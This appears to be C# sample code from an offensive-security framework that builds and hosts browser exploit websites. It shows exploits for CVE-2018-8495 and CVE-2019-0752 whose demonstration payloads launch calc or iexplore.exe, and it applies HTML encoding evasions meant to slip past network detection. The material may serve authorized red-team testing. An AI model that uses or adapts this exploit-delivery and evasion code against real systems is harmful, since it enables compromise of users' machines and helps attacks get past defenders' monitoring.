private static IAttack OutputMergingExample()
{
// Note: This sample uses the same virtual host and port for the HTMLMTH server as the HTMLMTH server from Sample6
var HOSTNAME = "HostnameC2"; // the DNS name "HostnameC2" points to the virtual host "VirtualHostC"
var VIRTUALHOST = "VirtualHostC"; // So, the host in Sample6 and Sample7 are the same virtual host
var HOST = Host.GetHostByHostName(HOSTNAME) ?? new Host(VIRTUALHOST, HOSTNAME, null);
var htmlmthServerOutput = new HtmlmthServerOutput(HOST, scriptEncodingServerHost: "SomeWindowsServerRunningTheEncoderScript.com", scriptEncodingServerPort: 5000); // the default port is 80
var attackName = "OutputMerging";
var attack = new Attack(new IOutput[] {
htmlmthServerOutput,
}, name: attackName);
var website = new OnePageWebsite("<html><head><meta http-equiv=\"x-ua-compatible\" content=\"IE=8\"></head><body><script language='VBScript.Encode'>MsgBox Hex(&HBAADF00D)</script></body></html>");
var evasions = new[] { // Refer to HTMLMTH documentation & source code for the available evasions
"htmlmth.evasions.html.encoded_script", // This evasion requires HTMLMTH's scripting_encoder_server.py to be running on a Windows server. This server should be reachable from the HTMLMTH server
// This evasion also only works when IE rendering mode is set to <= 8
};
var htmlmthWebsite = new HtmlmthWebsite(website, HOST, evasions);
htmlmthServerOutput.Add(htmlmthWebsite); // bookkeep
attack.Generate();
// The files needed to launch the HTMLMTH server should now be at $(ProjectDir)\bin\$(Configuration)\$(TargetFramework)\Output\Server\HostnameB\80_HTMLMTH_Server
// Note: MyWarez will automatically merge the HTMLMTH server contents correctly for HtmlmthServerOutput on the same virtual host & port
// Note: The same occurs for multiple HttpServerOutput on the same virtual host & port
// Note: The same occurs for multiple SmbServerOutput on the same virtual host & port
// Note: The same occurs for multiple RemoteFileServerOutput on the same virtual host & port
// Note: Different Output types on the same virtual host & port will NOT be merged
return(attack);
}
public static HtmlmthWebsite Create(string host)
{
// This is the baseline's payload. It is hardcoded in the baseline resource
// Payload = "\..\..\..\..\..\PROGRA~2\INTERN~1\iexplore.exe 0D15EA5E"
var baselineResourceName = "CVE-2019-0752_internetexplorer.html";
var baselineResourcePath = Path.Join(MyWarez.Core.Constants.ResourceDirectory, baselineResourceName);
var baselineHtml = File.ReadAllText(baselineResourcePath);
var baselineWebsite = new Website(new List <WebsiteResource>()
{
new WebsiteResource(baselineHtml, "/")
});
var baselineHtmlmthWebsite = new HtmlmthWebsite(baselineWebsite, host);
return(baselineHtmlmthWebsite);
}
private static IAttack HtmlmthServerOutputExample()
{
// Note: This sample can't use HOSTNAME = HostnameB since port 80 on HostnameB is already occupied by the HTTP Server from Sample4
var HOSTNAME = "HostnameC1"; // the DNS name "HostnameC1" points to the virtual host "VirtualHostC"
var VIRTUALHOST = "VirtualHostC";
var HOST = Host.GetHostByHostName(HOSTNAME) ?? new Host(VIRTUALHOST, HOSTNAME, null);
var htmlmthServerOutput = new HtmlmthServerOutput(HOST); // the default port is 80
var attackName = "HtmlmthServerOutput";
var attack = new Attack(new IOutput[] {
htmlmthServerOutput,
}, name: attackName);
// This represents a commandline used to create a new process
var cmdline = new Tonsil.Processes.CmdLine()
{
image = @"calc", arguments = new string[] { }
};
var process = new Tonsil.Processes.Process(cmdline);
// List of commandlines
var processList = new ProcessList(new[] { process });
// Note: this exploit enforces a ProcessList size of size 1
var exploitWebsite = new CVE_2018_8495(processList);
// Network Evasions to apply to the delivery of the exploit
var exploitEvasions = new[] { // Refer to HTMLMTH documentation & source code for the available evasions
"htmlmth.evasions.html.entity_encoding_attributes_dec",
"htmlmth.evasions.html.external_resource_internal_script",
"htmlmth.evasions.html.insert_slash_after_opening_tag_names",
"htmlmth.evasions.html.bom_declared_utf_16be_encoded_as_utf_16_be"
};
// HtmlmthWebsite represents the HTTP resource(s) hosted by HTMLMTH server
var exploitHtmlmthWebsite = new HtmlmthWebsite(exploitWebsite, HOST, exploitEvasions);
// Dont forget to bookkeep
htmlmthServerOutput.Add(exploitHtmlmthWebsite);
attack.Generate();
// The files needed to launch the HTMLMTH server should now be at $(ProjectDir)\bin\$(Configuration)\$(TargetFramework)\Output\Server\HostnameB\80_HTMLMTH_Server
return(attack);
}
